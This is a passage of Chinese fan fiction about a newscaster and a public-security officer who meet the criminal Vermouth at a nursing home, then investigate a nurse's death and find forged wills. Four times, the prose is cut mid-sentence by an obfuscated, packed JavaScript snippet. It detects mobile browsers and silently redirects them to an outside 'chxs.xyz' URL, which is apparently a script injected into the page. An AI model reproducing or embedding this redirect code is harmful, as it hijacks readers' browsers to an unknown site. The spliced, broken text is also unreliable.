还真有点怀念。几年之后樱井先生就升职成台长,搬到顶楼拥有落地窗的大办公室了。 充满疑惑的助理:“您说什么?” “啊不,没什么。”她朝对方颔首,推门而入。 樱井专务是个矮胖的中年男人,已经在等她了。对方一见面相当热情,眼睛亮了起来:“喔!你就是这次过来的新人,真是相当美丽的小姐啊。” 她微笑鞠躬,“弊姓法月,请您多多照顾了。” 对方显然愣了一下,快速调整了神情,“真不愧是法月大臣的千金。之前有过播音工作的经验吗?” 有呢,就在你手下做了五六年,本来都快要升职了,只是现在又死回新人了,像通关之前不小心掉进深渊又忘记存档的马里奥。但这样的答案恐怕会被对方认为不正常,她只说:“有上过主播培训的课程。” “这样,新人啊……也可以,我手上有几个策划很适合新人。” 樱井从桌上拿起几本文件夹,仔细端详每本的介绍。 但法月莉亚比他还清楚:绀色封面的那一本,页脊露出了花体B的图案,尽管和最终版本有所差别,但绝对表明了这就是《Bristo》的企划案。 樱井的手最后也停在了这本文件上,“啊,这个或许就很好。” 时间好像就要在她眼前又重新走上了一样的轨迹。法月莉亚握了握拳,突然说:“或许……您愿意听一下我的想法?我对时政新闻很感兴趣,如果有这样的机会就太好了,晨间或者深夜新闻这样的时段我也非常乐意。” 对于新人主播都是非常难得的机会,但是下凡镀金的大小姐们通常并不会喜欢这样需要凌晨三点也工作的选项。樱井专务颇为惊讶,沉吟片刻:“有这样的志愿也很好,但是对新人来说还是比较难上手吧。要不要考虑专攻出外景做采风呢?” 他递过来另一本企划案,在她面前摊开,“……是这样调查世情的栏目,温和轻松的纪实风格。不过可能比较辛苦而且没什么趣味,不像这份美食栏目的只需要在摄影棚录制,还可以和艺人偶像们合作,关注度也比较……” 他又拿起绀色的文件夹,试图再次把《Bristo》推荐给莉亚。她直接抢先一步,伸手拿起另外那份企划,“感谢您,但我想从关注度低的节目开始正合适。什么时候可以见其他的工作人员?” 樱井专务只好站起身,“那么,我来为你引见。” “……所以说,好像真的成功改变命运了,有点像做梦。这次合作的是全新的班组,虽然有几个人是我后来在其他场合合作过的,倒是也很熟啦。” 莉亚放下筷子,对降谷零这么总结。 他捏着酒杯抿了一口,身上仍然穿着那套纯黑的制服,“我说了吧,其实和上司真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947685|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表达自己的想法也不是很难。不过为什么不要继续做以前的节目啊?你不是做得很好?” “当时我父亲不想让我碰任何时政相关的东西,才强行把我塞进美食节目里的。”她不耐烦地挥挥手,“那种只要会吃东西然后捧着脸说‘真是太好吃了’就能胜任的职位,谁都可以做得很好。如果能换成熊猫,收视率会更高。” “这么对粉丝说真是太残忍了——我还以为你是为了给节目收集信息才来这里的。”他指了指在吧台后面忙碌制作烧鸟的居酒屋主人,“老板知道了该多伤心。” “真是不好意思啊,这位目前还完全没看过节目的粉丝先生,我只是想体验一下下班了之后一起喝酒顺便吐槽老板的场景。” 金发青年放下了酒杯,“……我的老板现在可是你父亲。” 不然为什么会对这种社畜场景有热情? 莉亚不屑地瞥了他一眼,“所以你以为我为什么邀请你?当然是因为特别想听这个题材了。” 他不自在地摸了摸鼻子,“嘛,他提出的方针是加大打击犯罪的力度,在警察厅警视厅整顿风纪。可能不是很容易推进,但对我来说还真是帮大忙了,也没什么可抱怨的地方。” “那还真是太好了呢。”又一次放下筷子的法月莉亚投来死亡凝视,满脸写着“你看这是我想听的话吗”。 前卧底公安察觉到了微妙的不满。原则上这完全属于对国家机关充满恶意的野望,简直乱来。但既然表现得这么好,还是应该给予奖励吧? 他最终选择顺从地转移话题:“那么,莉亚最后拿到了什么任务呢?” 气氛重新变得轻快了,“是介绍杯户疗养院的项目。属于一半介绍特殊机构生活状况的轻松日常向、一半是关于老人化社会的社情调查,需要做一些功课但是话题也不会很敏感,倒是很适合我。” “虽然开端很扭曲,但现在看起来都意外地走上了正途,值得喝一杯?”他对着莉亚举起酒杯。女主播举杯轻碰,“是吧,虽然感觉还是有点奇怪,顺便一说,这个场景真的好社畜……” 她将杯中酒一饮而尽。豪爽的酒量也是意料之外。降谷零问:“要再续一杯吗?” “不了,我回去还要做一些功课。毕竟想要挖掘一些深度,而且嘉宾的资料还没有收到,也要提前熟悉一下对方的背景吧。” “好吧,听起来是你比较了解的专业内容,看来我帮不上什么忙了。”降谷零站起身,拿起桌上的单据,“作为新人女主播的入职庆祝,我来付账单。” 与此同时,手机嗡地响了一声。 “谢了。”莉亚低头查看邮件,点开了嘉宾信息的附件,一边漫不经心地扬了扬手,“确实是我的领域之内,不劳费心了——不,我可能……还是需要。” 降谷零疑惑地停住脚步,亲眼看着法月莉亚的脸色渐渐变得苍白。 “怎么了?” 她颤抖着手,把手机递了过来。屏幕上的画面进入降谷零视线的第一秒,就让他急剧收缩了瞳孔。 屏幕上出现了一张熟悉的美艳面容。女人有一头熔金般的长发,轻佻地露出魅惑的笑容。 ……是贝尔摩德。 12. 访问 莉亚丧气地坐了回去,抬手招呼:“喂老板,再来一杯纯饮伏特加!” “抱歉,她喝多了,请不要理会。”金发男人把她举起的手按了下去,对店家道歉之后也重新入座,皱着眉批判,“说好的明天有工作,现在开始大喝烈酒是怎么回事——看到嘉宾名单就自暴自弃了吗?” “这一定是盯上我了吧?我可还记得之前发生了什么……”莉亚直接伏到桌面上,“我都要死了,难道不可以提前哀悼一下吗?” “嘘!”降谷零警惕地扫了扫四周的酒客,确认没有异常才凑近她低声劝慰,“……她公开身份仍然是美国影星,即便到日本的电视台录制节目,这在理论上也是正常的行程。” 他拿出手机按了按,递给莉亚,“看,她有一部即将在美国上映的电影,也是以全球上映为公开理由到访日本的。如果打算配合这个理由,真的进行宣发造势的话,那么上日卖台的节目也未必是针对你。” 她噌地坐了起来,双眼发亮,“你很了解她!她和你私人关系很好吗?那天你们是一起来的米花饭店诶……有没有可能真的是亲戚?能告诉她我什么也不知道所以拜托请离我远一点吗?” “很遗憾。”金发青年做出残忍的回答,“虽然场面很混乱,但是当时她明显表示不是我的亲戚了吧?只是负责考核我的临时上司而已。” 她非常失望,吸了一口冷气,有一种牙疼似的表情坚持询问:“她是罪犯哦,又是美国来的演艺人员,私生活应该比较热情奔放不拘小节吧?你说有没有可能你们其实……” “所以?”降谷零的眉毛越扬越高,嘴角却渐渐垮了下去,露出一脸“有胆你就继续往下说”的肃杀。 生存的信念遮住了她的双眼。莉亚双手合十,“拜托了如果你们有超出普通工作关系的情谊的话请一定告诉我,我真的不会生气。” 她冲着降谷零小幅度地鞠躬。居酒屋狭小的店面使得座位之间几乎没有空余的距离,使得她几乎要扎进降谷零的怀里。 但他不为所动,被气得反而笑出声了,伸手去揪她的脸颊,“可是我生气了啊——小莉亚,我到底是在你心里怎么个形象才会被认为和卧底组织的高级罪犯搞在一起啊?或许还记得我是你丈夫吗?” 被捏住两腮的人沮丧极了,含糊不清地问:“那现在要怎么应对?不要让我失望地说‘丈夫好没用’啊警官先生。” 紫灰色的眼睛紧紧盯着她,投出锐利而坚定的目光。 “来做特训吧。” 真的有人可以通过训练在擅长一枪爆头的女罪犯手下提高生存率吗? 她忍耐了良久,最终对着专家露出狐疑的眼神,“……哈?” “不要忘记随时控制表情。千万不要盯着她看,更不要露出惊讶的神情,这绝对是有用的。” 耳机里又传来了严厉的警告。 法月莉亚躬身从保姆车里走下来,借着确认妆容用化妆镜挡住嘴,小声回应:“好啰嗦,我记住了。已经到达了位置,还没有见到目标对象。” “目标位置”代号指的是这家在杯户中心地段的高级疗养院。经过筹建多年,它终于在去年投入运行。作为国家级老人化社会应对项目,也吸引了大量媒体的关注。法月莉亚手上的第一个外景项目就是做关于杯户疗养院的内容。 她扶着蓝牙耳机,再一次警惕地环顾四周。 这里不愧是得到了国家级投资援助的项目,建筑设计和园林绿化都别有特色。庭院里散落着几株日本少见的蓝花楹,郁郁葱葱的连天绿荫里正酝酿着蓝紫色火焰般的花苞。 如果不是邀请了可怕的嘉宾……其实还真是一个很不错的地方。 “法月小姐,导演请您来这边。” 她转过身来,对助理导演露出微笑,“是。请问怎么了?” “院长先生已经到了,想介绍你们认识一下。如果您有准备额外的提问,也可以现在提出呢。” 女主播撩了撩鬓发,不动声色地盖住耳机,“好的,请您带路。我确实准备了一些资料希望可以事先确认。” 于是一行人都被带到了会客室。武田院长已经在这里等候了,热情地与每个人握手。 新人主播是轮不到主动说一些场面话的,只要在被介绍“这是负责采访的法月”时鞠躬微笑就好了。 武田院长很亲切:“这位小姐真是美丽,有她宣传我们的客流量一定会更好——对了,之前看到提案里写了还有嘉宾,我还是她的影迷呢,怎么不见她来?” 指甲尖深深地戳进掌心。她勉强靠着这点疼痛维持住了笑容,“是呢,其实我私下也很喜欢温亚德小姐,正在偷偷期待呢。”表现得像一个希望和大牌明星合作的正常新人。 导演看了看手表,“她说了今天会过来,但是车子在路上出了点情况,可能会晚一些……我们先推进其他的流程吧。各方面需要拍摄的内容大概就是文件里提到的这样。对了,法月,你之前提出了想要事先采访工作人员对吧?” “是的。”她对导演微微颔首,接着转向武田院长,“那么,能否安排我和几位一线工作人员聊天呢?我想他们应该非常了解患者们在这里的生活和感受,希望得到一些额外的灵感。” “当然没问题,川口,你带法月小姐去护理部,看看有谁在值班。让他们尽情谈谈,不要有顾虑。” 一个文秘打扮的女人站起身,“法月小姐,请这边走。” “那么,我失陪了。” 川口小姐带她沿着回廊前行,仔细介绍沿途的各项设施,“……对了,除了设备和护理理念,我们对工作人员本身的关切也是走在行业前列的,大家都很珍惜在这里工作的机会,所以和患者之间的感情也非常好。” 女主播拿出录音笔,“是吗,有什么具体的例子吗?” 川口小姐突然很神秘地凑近,“你可以问问岛崎,她今天应该也当值。她和患者的关系真的超级好,令人羡慕呢。” 谜语人姿态,摆明了是想故意设悬念。莉亚做出了然的模样,轻描淡写地收起录音笔:“唔,或许是会主动接老人到自己家里一起庆祝节日、或者带老人去实现少年时期愿望的护理员?电视剧里经常出现的那种,也不算很特别吧。” “比这个厉害多了!”对方果然上钩,急忙纠正,“她直接被患者指定为遗产继承人!对方没多久就过世了,于是她拿到了三千万!” 莉亚配合地惊叹:“那确实是很厉害!一定是她把工作做得特别好吧。” “应该是这样吧。到护理部了,你可以问问她本人。”她推开门,指了指其中一位中年短发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947686|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女员工。 这位护理员戴着写有岛崎的名牌,正在吃茶点,迷惑地看了过来。 法月莉亚抢先和她握手,“你好,我是日卖台的法月,听说您的护理水平非常优秀,被患者深深认可,还建立了很深厚的情谊,所以非常感兴趣。能不能请您多介绍一下呢?” 对方犹豫了好久,才含糊地回答:“啊,也没什么值得介绍的经验,可能就是和儿岛先生比较有缘分吧,平时一直是我帮他注射、换药,所以才取得了他的信任。恰巧也是他健康状况恶化得比较快,所以才……” 她胡乱地把茶点收起来,茶杯也推到一边,“我带您去参观一下设施吧!我们的水疗设备相当不错哦。” “当然,非常感谢。”莉亚笑眯眯地点了点头。 水疗室有一扇漂亮的彩绘花窗。柔和的光线透过彩色玻璃落在地面上,晒出斑斓的光影。空气中弥漫着淡淡的薰衣草香氛气味。水疗池旁边还摆放着若干躺椅,上面都挂着柔软的毛巾。 “要不要亲自体验一下?访客也是可以的哦。”岛崎护理员建议,“我有理疗师资格,还能帮您按摩呢!” 莉亚一拍掌,“那也太好了!您有好多资格证啊,真是多才多艺。” “嘛,之前生活比较拮据,就打了很多份关于护理的兼职工。虽然很辛苦,但也算积累了经验,所以现在才能有幸留在这里工作啊。” 她笑着点头附和:“人生真是奇妙啊——那么,我先去换衣服,马上回来。” 一离开水疗室,温和亲切的笑容从女主播脸上飞速消失了。她抚着鬓发,敲了三下藏在里面的耳机。 电流声里快速传来了应答:“我在听。温亚德出现了吗?” “不,我是有个疑惑想跟你确认。”她犹豫了一下,“……你有没有听到我们的对话?我觉得那个疗养员怪怪的。” 通讯信号另一边的降谷零:“哦?你为什么这么觉得?” “是她的用品。她手上戴孔雀石的VCA,沾水就会容易损毁,可她又负责做水疗……应该是家境优越到了不在乎消耗一条手链,但是又说生活拮据到需要打很多工。可能是以前的事?但她惯用的茶具还是超市促销的赠品,边缘也已经磨损了,应该是还没来得及换。而且戴手链也不符合岗位标准吧,却又是因为专业被认可的……总之非常违和。” 女主播很忧愁:“你觉得我应该换一个访谈对象,或者跟导演说一下吗?如果这家疗养院后续爆出来什么负面消息……呃,我可不想第一次访谈就爆雷被炎上。” “应该和那个给她遗产的老人有关系吧。”对方快速地解答,“记得吗,你提问的时候说她和患者关系很好,她却主动只解释了那一位老人的状况,当时就让我有点在意。” “你也觉得她有点奇怪吧!”莉亚被认同的答案振奋精神。 一道声音在耳边响起,充满好奇:“嗯?是哪里很奇怪?” “我不是说……” 她这才意识到这个提问不是来自降谷零,急忙捂住耳机,回身看了过去。 金发女人就站在她身后几步开外,笑盈盈地托腮看着莉亚:“我也很好奇。” 糟糕,后脑又开始隐隐作痛了。 女主播对着那张美艳的脸,一瞬间很想咬断自己的舌头。 13. 身亡 想逃跑的欲望一瞬间野火一样蔓延开来。 对方金色的长发会轻柔地滑落,笼罩住她的视线,然后像绞刑架似的收割无辜路人的生命。艳红的唇会吐出冰冷冷的话语,一度是她与世界作别的宣告。 耳机里传来降谷零急促的呼唤。但上涌的血液冲击鼓膜发出巨大的噪声,让她几乎听不见任何声音。 法月莉亚控制不住地露出了讶异的表情。 对面的金发女人挑了挑眉,笑容更深了,“怎么了?你……” 莉亚生出急智,打断她的追问:“天呐!居然是克里丝.温亚德!” 她竭尽可能地调度出一种炽热而惊喜的口气,把眼睛瞪得不能更圆,不可置信地问:“真的是本人吗?我以为你今天不会来了呢。我的天,我是你的超级影迷。” ……以前节目里有超级大明星出场时,观众还有什么反应来着? 她干脆模仿了个全套,把脸深深地埋进了交叠的双手里,趁机把表情调整到了女子高中生第一次见到挚爱偶像的状态,还跺了跺脚,小声羞涩地问:“真的不是节目组特意想拍摄我的反应吗?……我能和你握手吗?” 对方明显愣了一下,“啊……可以。” 于是手立刻被莉亚一把捉住,晃动了好几下。她甚至在握上来的时候表现出来一种恰到好处的留恋和娇羞。 这位鼎鼎有名的克里丝——降谷零口中的贝尔摩德,终于露出了一点更真实的笑意,“感谢你的支持。对了,”她漫不经心地问,“我很在意粉丝的看法……你最喜欢的作品是哪一部?” ……糟了,不应该演那么满。 莉亚脑海里嗡地一声出现空白:她从来没看过克里丝.温亚德出演的电影。 “诶?都是很棒的作品啊。最喜欢的……我想想……” 她支吾起来。 之前收到的资料里有罗列对方的履历,写了她什么作品来着…… “《时尚犯罪》,她演杀手。” “啊,一定要说最喜欢的话,应该是《时尚犯罪》!真是非常震撼人心的影片呢。”她立刻复述耳机里降谷零给的提示,“说实话其实故事细节都不太记得了,但是您扮演的那个杀手真是令我难忘,当时还偷偷试了相同的造型。” 补充了在哪个明星身上都可以用的无效细节,还堵死了对方继续追问剧情的可能。 温亚德果然点了点头,“那真是太好了。导演说工作人员都在各自参观采风,让我也先看看。我想还是应该先和搭档见面,就过来这边了。” “诶?特意来找我嘛?太不好意思了。”她演热情粉丝演上了瘾,又一把捂住脸,“我要喘不过气来了……我真的没想到您会对这种风格的节目有兴趣,以为您宣传影片也会去《彻子的房间》类似的大牌栏目呢。” “是么?我是看到了采访杯户疗养院的企划,所以才感兴趣。我母亲年纪也大了,需要这种看顾,很难不在意日本这边的具体情况。” 呃,难以想象,她妈知道女儿在外面都干什么了吗?比如拍完电影的间隙会随便对人开枪? 她忍住吐槽的冲动,微笑附和:“是啊,很辛苦呢。” “所以说……”对方抬手撩了撩长发,忽然问,“这家疗养院到底有什么奇怪的地方呢?” 话题怎么诡异地又绕了回来? 莉亚几乎被呛到。 耳机里继续传来指令:“她一定是听到了,不要慌,承认下来,随便给个理由。” 可恶,他说得很轻松,怎么不自己来对付? 稳住,把她当成普通的节目嘉宾……平时都是怎么拉近关系的来着? 莉亚清了清喉咙,往四周瞥了瞥,小声说:“她们的王牌护理员呢,经济状况意外的好,和她自己描述的生活状态完全不一样,所以我很担心她是院长或者哪个患者的这个。” 她对贝尔摩德竖起小指晃了晃,露出意味深长的笑容,“您懂吧?可能是比较暧昧的那种关系呢……” “这样啊,那确实很棘手呢。你的观察很敏锐啊。” “是吧,我是第一次做项目,很难不考虑这些细节。请您千万不要告诉别人喔,”她羞涩地笑了笑,直接上前挽住贝尔摩德的手,“毕竟也可能只是我想多了——我们去导演那边看看筹备进度?” 救命,不要再追问了,还是赶紧解除独处的状态。希望她还没有大胆到当着整个节目组开枪杀人…… 法月莉亚非常小心地落后女演员半步,免得又被她突然从背后袭击,按在地上一枪带走。好在从水疗室回会议室的路并不长,而走出去没多久,她们就遇到了出来寻找的助理导演。 “啊,你们二位遇上了!温亚德女士,导演在找你,快跟我来。” 莉亚几乎感动得要落泪了。但她坚持遗憾地抿起嘴,“啊,好的……本来以为有机会跟您多聊一下的。那么,下次再见了。” 希望没有这种机会!希望再也不见! 女演员微笑着和她握了握手,“非常高兴认识你,法月小姐。” 她站在原地,目送着金发女郎消失在走廊尽头,才能长出一口气,脱力地靠在墙边。 “她离开了?你安全了吗?” 耳机里传来的降谷零的声音非常急切。 她蔫蔫地抬了抬手,意识到对方看不到,这才开口回答:“别吵……让我缓缓。我真的要被吓死了。她不会再来追杀我了吧?” 对面笑了一声:“做得不错,很像那种手足无措的热情影迷。” 莉亚从回廊的另一侧走进庭院,在春风吹拂里打了个寒战,这才意识到白衬衫的后襟已经被汗水彻底打湿了。 没有听到回答,降谷零追问:“真的吓坏了?安心,回答没有留下明显的破绽,她应该不会回来了。” 好像终于从死亡线上挣扎着爬回来了。她开始抱怨:“超恐怖的好吗,为什么会突然出现啊,我做好的心理建设直接垮塌了,差点没绷住。而且还说什么‘是为了我妈妈才来的’,我真想问这种犯罪分子怎么还有妈呢……” “哈,幸亏没问,不然一定当场毙命——她的母亲是莎朗.温亚德,比她更为有名的好莱坞女演员,认识她而不认识她妈妈才非常奇怪。” “听起来你好像很期待这个一击毙命的场景。”她眯起眼睛。 “哈哈,怎么会呢?不过这样也应该可以确认,她其实没有上一次在米花大饭店见到你的记忆。所以为什么过来呢?难道真的是来出节目完成女明星日常任务吗……”降谷零思索起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947687|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你话题转移得太生硬了。”莉亚面无表情,“而且也许她就是想确认一下,兴许等到录节目本番的时候就会动手。到时候我们就知道了——啊,不对,应该是你就知道了,因为我大概会死掉吧。” “别这样悲观。以我对她的了解,应该直接动手了,不需要亲自来打探消息。”他似乎对自己的论断很有自信,又轻快地笑了一声,“不过以防万一,我先确认下——如果悲剧真的发生了,你想要在坟上摆什么花?” “仙人掌,因为花语是go fuck yourself。” 她恶狠狠地按掉了电话。 第二次和克里丝.温亚德的会面像达摩克利斯之剑一样悬在头上。节目组太年轻了,比较边缘化,所以最终拍摄的时间要全力配合这位著名女演员的日程。 但这一天迟迟没来。 法月莉亚装作不经意地在播音室里问导演:“……说起来,对于之前给杯户疗养院做的调查,我给您提交了第三版报告,还有什么要修改的地方吗?” “嘛,这个……”对方神色突然紧张起来,含糊其辞,“可能要先推迟一段时间。上面对那里现在有点质疑,档期用常规的外国游客观光目的调查替换就好。” “诶?是发生什么事了吗?” 导演的目光在她胸前挂着的“法月”名牌上逡巡了一会儿,这才凑近过来,小声解答:“我想你早晚会知道,但还是先不要对别人说——那家疗养院发生了人身事故,有个工作人员死掉了,警察正在调查中,所以……还是暂时不要去比较好。” “这样……好可怕。”莉亚紧紧抱着文件夹,一副心有余悸地惊叹,“多亏您日程安排得当,不然的话我们可能就会遇到呢。” “是啊,还是那天见过的人,真的好吓人。遇害者姓岛崎……记得吗,就是那个负责给我们做水疗的护理员。” 文件夹从她手里滑落,撞在大理石地面上,发出一声清脆的响声。 “那可真是……太惊人了。” 莉亚喃喃道。 导演拍了拍她的肩,转身离去。她像被美杜莎石化了一样僵在原地,花了好久才从地上捡起文件夹。 对了,要先确认信息。也许有什么转述上的差错。 去掏手机的手在不住颤抖,但还是顺利按开了屏幕。 她先点开了桥本秘书的号码,但在拨通前就挂断了,最终还是选择把电话打给降谷零。 “听说那天遇见贝尔摩德之前在跟我说话的岛崎护理员死掉了,是真的吗?” “什么?稍等,如果有的话,这应该是警视厅负责处理的案子,我去问一下他们。” 保留通话的滴滴声像炸弹的倒计时,令呼吸变得越来越迟缓困难。 几分钟后,降谷零重新接入了电话:“我确认过了,警视厅那边确实收到了这件报案,正在按意外事故的方向调查确认。” “那么,能不能拜托你去调查一下……”女主播几乎控制不住微微发颤的声线,“我有一种直觉……也许这一切都和那个女人有关系。” 降谷零好像应了一声,还嘱咐了几句什么,但是她已经没法集中注意力去听了。 头顶的剑落下来了。 ……还刺中了旁人。 14.探查 突兀的死讯让莉亚手足无措,但她还是坚持按计划完成了所有工作。无论出于维护新人女主播的职业名誉,还是稳住潜在的窥视者,这都是最好的选择。 走出日卖电视台时,东京已经挂上了夜色。她对着霓虹灯恍惚的瞬间,一辆从没见过的黑色科罗拉炫技似的从车位上冲出来,几乎紧贴着她停了下来。 “搞什么——” 她皱眉倒退一步,小声的抱怨还没说完,就看见车窗降了下来。驾驶员探过身来,露出一颗金色的脑袋,“上车。” 抱怨消失了。 她拉开车门,“怎么突然换了车?这也不是我家的吧。” “啊,一些必要的手段。”他简略地解释,“我们先不回家。” 莉亚系安全带的手顿住了,“诶?去哪里?” 他紧抿着嘴并不回答,用力轰下油门,冲入了东京的茫茫夜幕里。 车子很快驶出了都心,在一栋颇显年代的公寓前停下了。 降谷零的目光在手机屏幕和公寓名牌之间反复逡巡了几次,最后才低声说:“应该可以了,就是这里。” “所以这到底是哪里?” “你不是觉得那件案子可能存在问题吗?所以我们直接来调查。”他从口袋里掏出白手套戴上,“二楼最西侧那间公寓就是死掉的那个护理员的家。” 公安委员长的女儿大为震惊,手机直接掉在了地上,“……这样不就是闯空门了吗?” “我可是公安啊,有特别行动权。硬要说的话,只有你是在闯空门。” 他瞥了一眼莉亚,看她慢慢把眼睛危险地眯了起来,便抢在她开口前解释,“她是在工作场所过世的,没有理由直接接收遗物。拜托警视厅正式调查需要特别许可,我担心会泄漏信息,那就不妙了。而且如果真的是组织动手的,背后一定是有什么原因,那么他们很快就会来处理,我得更快一点才行。” 降谷零停在了一扇门前,门上挂着“岛崎”的牌子。他弯腰探了探邮箱,“信件积累了一些,看来最近确实没有人来过。” 说着,他直起身,在门锁上鼓捣了一下。那扇门立刻对他们毫无防备地开启了。 “你果然很会溜门撬锁,上次就是这么开的我的房门吧?”莉亚又眯起眼睛,“近距离观察还挺震撼的。” 他面无表情地对她摊开手,手心里躺着一枚银闪闪的钥匙,“……我是直接从警视厅拿到的,钥匙恰好就在她的遗物里。好了,跟在我后面,不要随便碰任何东西。” 岛崎的房间散发着一股接近于发霉的陈腐气息。降谷零打开手电,到处照了照,粗略观察了四周:这房间很小,装潢也有些年份了,明显不是近期翻新的公寓。墙壁蔓延着黄斑,玄关里横七竖八地堆叠着鞋子和雨伞,旁边的一点空间就构成了所谓的厨房,灶台上的厨具歪歪扭扭地挤在一起,堆了很高。 他们小心地穿过这些杂物,进入客厅。这里的景象并没有好很多,桌子和床几乎占据了所有空间,让人没有下脚的余地。床铺还算整洁,但餐桌上面摆着各种纸盒,还有一台颇占地方的打印机,就更显逼仄了。 “她……” 降谷零投来制止的目光,从怀里拿出一个小型信号屏蔽设备,安置完毕才对莉亚开口:“小心窃听器。” 莉亚:“这么看她经济状况确实很糟糕,直到最近都很拮据。应该就是那笔遗产改变了一切。” 降谷零指了指贴着墙摆放的几个还没有折好的纸箱,“所以已经在计划搬家了。是比较高级的搬家公司的纸箱,看来财务状况确实是得到了改善。” “没错,奢侈品首饰确实也是最近购买的,唔,还有几个包。”莉亚用手机调出光亮,小心翼翼地打量饭桌上的几张票据,“票据都还在这里。全都是很热门的基础款,应该是刚开始入手奢侈品才会这么购买。有两家店我还蛮熟的,或许可以去问问……不过结算方法都是现金,这样的话应该查不到什么信息吧?” “你还记得那个给她留下财产的老人叫什么名字吗?”降谷零忽然停下翻检的手,抬头问莉亚。 “儿岛?”她努力回忆了一下,“嗯,就是儿岛,说是健康突然恶化才过世的。岛崎之前就是他的护理员。” “那么,需要调查的对象可能要增加了。”他对莉亚招了招手,“你来看这个。” 她凑了过去,发现降谷零把那台复印机的顶盖揭开了,露出了几张使用者忘在里面的原件还压在复印机的玻璃板上。最上方的那张隐约能看到“遗嘱”二字,纸张边缘还残留着不自然的胶带粘贴痕迹,仿佛整篇文件是东拼西凑而成。 降谷零伸手翻了一下,发现下面的几张都是相同的文件,像是经过多次誊写的草稿,但当事人签名的笔迹都略有不同。他从口袋里拿出一支细长的发卡,小心地剥开了上面覆盖的半片纸张。下面露出的内容和遗嘱毫不相关,看起来更像是一份医疗记录的确认函,而遗嘱见证人的签名竟然是落在这一层。 “这么拮据的情况下还能购置这台复印机,果然不仅仅是用来打印普通文件的。”降谷零的目光在那些纸张上来回巡视,最终意味深长地说,“目前看来,比起一个靠着果然职业技能而赢得患者信任的优秀护理员,她更有可能是个擅长做假遗嘱的造假大师。” 他合上复印机,拿起旁边的一张纸,上面密密麻麻被签名排满了,“她不只练习了‘儿岛兼司’这个签名。这是那个‘三千万老人’,那么其他的人是谁?她之前通过兼职接触到的患者?现在在杯户疗养院里负责的其他病重患者?还是说……” 小型手电的光映在降谷零紫灰色的眼睛里,在昏暗房间里显得格外明亮。但他脸上的表情却是相反的阴沉可怖。不用他继续解说,莉亚就已经明白了最后那个答案可能是什么:“也有可能是杯户疗养院之前已经死亡的患者。这可能并不是她第一次从重病患者那里骗取财物,只是数额太大了,才被人知道的——也许之前并不通过遗嘱,直接以患者的代理人身份取得了钱财,或者入室行窃的。我记得英国以前就有类似的案件。” “不是没有可能。这样的话就必须要去调查那间疗养院了。” 闯空门好像要加码了,不,这或许已经是危害公共设施安全罪了吧……但她好像被带坏了,竟然有点跃跃欲试,努力回忆可行的路径:“现在就去吗?我记得他们有个后门,是清理车会通过的,兴许可以从那里……” “不,”降谷零把证据收进了保存袋,正在小心地复原布局,惊讶地看了她一眼,“当然是拜托警视厅的人去调查了,不然这会构成危害公共设施安全吧。” “……你刚刚强迫我一起闯空门的时候不是这么说的,这位公安。”她捏紧拳头,威胁似的挥了挥。 降谷零发出一声轻笑,“她就是在疗养院遇难的,直接请警视厅调查相关人员的信息非常合理。何况温亚德已经在那里活动过了,我再去的话,很难说会不会引起她的注意,还是不要冒险比较好。” 他一边把整理好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959262|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证据收进保存袋,一边说:“有的时候合理使用下属也是一种策略嘛。” “你做人真的完蛋了。这很像我父亲会说的话。” 降谷零停下手,用文件夹撑着桌子,“诶?这样吗,可是现在我手上只有警视厅和你可以用诶。既然你不担心,那么就拜托了——” 她忍不住打了个寒战,立刻改口:“……下属也挺好的。我相信警视厅的调查能力。” 公安委员长的女儿没有说错,在职权范围内,警视厅确实非常能干。两天之后,杯户疗养院的既往患者报告就被递到了降谷零的办公桌上——尽管他现在并没有办公室,只是寄居在莉亚的化妆台前。 他翻动报告时绷紧了脸,最后长叹一声:“跟我们猜测的结果差不多……运营开始的这半年里,同等病症的死亡患者比例是东京都其他高级疗养院的三倍,而且死亡原因全都是没有任何端倪的‘自然老死’,这就很奇怪了。” “也许是自然原因,比如疗养院使用的器材或者装修涂料有问题。”莉亚提出,“之前也有这样的案例,毕竟是新开的。” 